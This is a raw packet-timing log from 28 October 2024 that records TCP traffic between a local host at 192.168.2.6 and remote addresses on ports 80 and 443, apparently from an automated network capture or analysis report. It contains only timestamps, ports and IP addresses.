Oct 28, 2024 02:07:14.288233995 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.288259029 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.288280964 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.397921085 CET	49674	443	192.168.2.6	173.222.162.64
Oct 28, 2024 02:07:14.397922039 CET	49673	443	192.168.2.6	173.222.162.64
Oct 28, 2024 02:07:14.405133009 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.405169010 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.405219078 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.405230045 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.405262947 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.405286074 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.405286074 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.405307055 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.405333042 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.405397892 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.405447006 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.405535936 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.405546904 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.405559063 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.405563116 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.414789915 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.414807081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.414880037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.414891958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.414896965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.414953947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.414953947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.414969921 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.414983988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415015936 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.415050030 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.415079117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415134907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415142059 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.415149927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415184975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.415219069 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.415421963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415438890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415453911 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415471077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415487051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415493965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.415523052 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.415540934 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.415920973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415937901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415952921 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415976048 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.415977001 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.415992975 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.416008949 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.416034937 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.416052103 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.416420937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.416451931 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.416466951 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.416481972 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.416517973 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.416517973 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.416779995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.416795969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.416812897 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.416827917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.416831970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.416846037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.416858912 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.416858912 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.416862011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.416881084 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.416904926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.477343082 CET	49712	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.477401018 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.477519989 CET	49712	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.478682995 CET	49713	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.478719950 CET	443	49713	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.478782892 CET	49713	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.479712963 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.479734898 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.479789972 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.480973959 CET	49715	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.480982065 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.481029034 CET	49715	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.481246948 CET	49715	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.481261015 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.481380939 CET	49712	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.481411934 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.481481075 CET	49713	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.481493950 CET	443	49713	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.482634068 CET	49716	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.482656956 CET	443	49716	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.482705116 CET	49716	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.482856035 CET	49716	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.482870102 CET	443	49716	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.482909918 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.482942104 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.531862020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.531878948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532002926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.532043934 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532056093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532067060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532098055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532099962 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.532140970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.532140970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.532146931 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532159090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532170057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532200098 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.532233000 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.532419920 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532476902 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.532515049 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532525063 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532536030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532546043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532556057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.532572985 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.532605886 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.533031940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.533041954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.533052921 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.533063889 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.533088923 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.533124924 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.533293009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.533303976 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.533343077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.533350945 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.533354998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.533366919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.533396959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.533431053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.579097986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.579116106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.579125881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.579137087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.579209089 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.579247952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.656548023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656560898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656569958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656574965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656584024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656600952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656611919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656621933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656621933 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.656630993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656641960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656652927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656656981 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.656672001 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656677961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.656688929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656699896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656702042 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.656709909 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656722069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656728029 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.656733990 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656747103 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656754017 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.656759024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656773090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656774998 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.656786919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656791925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.656796932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.656842947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.656842947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.694760084 CET	49672	443	192.168.2.6	173.222.162.64
Oct 28, 2024 02:07:14.697745085 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.697765112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.697782993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.697794914 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.697805882 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.697803974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.697844982 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.697844982 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.697882891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.766453981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.766531944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.766529083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.766601086 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.766796112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.766807079 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.766817093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.766854048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.766887903 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770268917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770298958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770335913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770337105 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770442963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770492077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770495892 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770531893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770545959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770576954 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770584106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770620108 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770628929 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770653963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770673037 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770689964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770699978 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770741940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770747900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770781994 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770796061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770816088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770831108 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770853043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770863056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770888090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770901918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770920992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770931005 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770955086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.770970106 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.770989895 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.771006107 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.771028042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.771039009 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.771061897 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.771073103 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.771096945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.771106958 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.771131992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.771142006 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.771177053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.815423965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.815499067 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.815593004 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.815629005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.815649033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.815675974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.815759897 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.815794945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.815814972 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.815829992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.815839052 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.815865040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.815880060 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.815917969 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.884037018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.884076118 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.884109974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.884219885 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.884219885 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.885776997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.885812044 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.885845900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.885868073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.885899067 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886003971 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886050940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886070967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886075020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886111021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886137009 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886176109 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886207104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886241913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886262894 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886276960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886293888 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886331081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886337996 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886369944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886389017 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886404991 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886424065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886482000 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886502981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886554003 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886554956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886588097 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886604071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886624098 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886636972 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886682987 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886837959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886889935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886895895 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886924982 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886944056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886960030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.886982918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.886996031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.887020111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.887033939 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.887044907 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.887084007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.932086945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.932115078 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.932128906 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.932162046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.932229042 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.932229996 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.932260036 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.932292938 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.932303905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.932308912 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.932317019 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.932342052 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.932378054 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.932378054 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.932513952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.932526112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.932573080 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.932573080 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.001141071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.001177073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.001210928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.001260042 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.001315117 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003145933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003200054 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003228903 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003236055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003248930 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003273964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003287077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003309011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003335953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003359079 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003597021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003653049 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003665924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003703117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003720045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003736973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003756046 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003774881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003797054 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003810883 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003823042 CET	49710	80	192.168.2.6	185.215.113.206
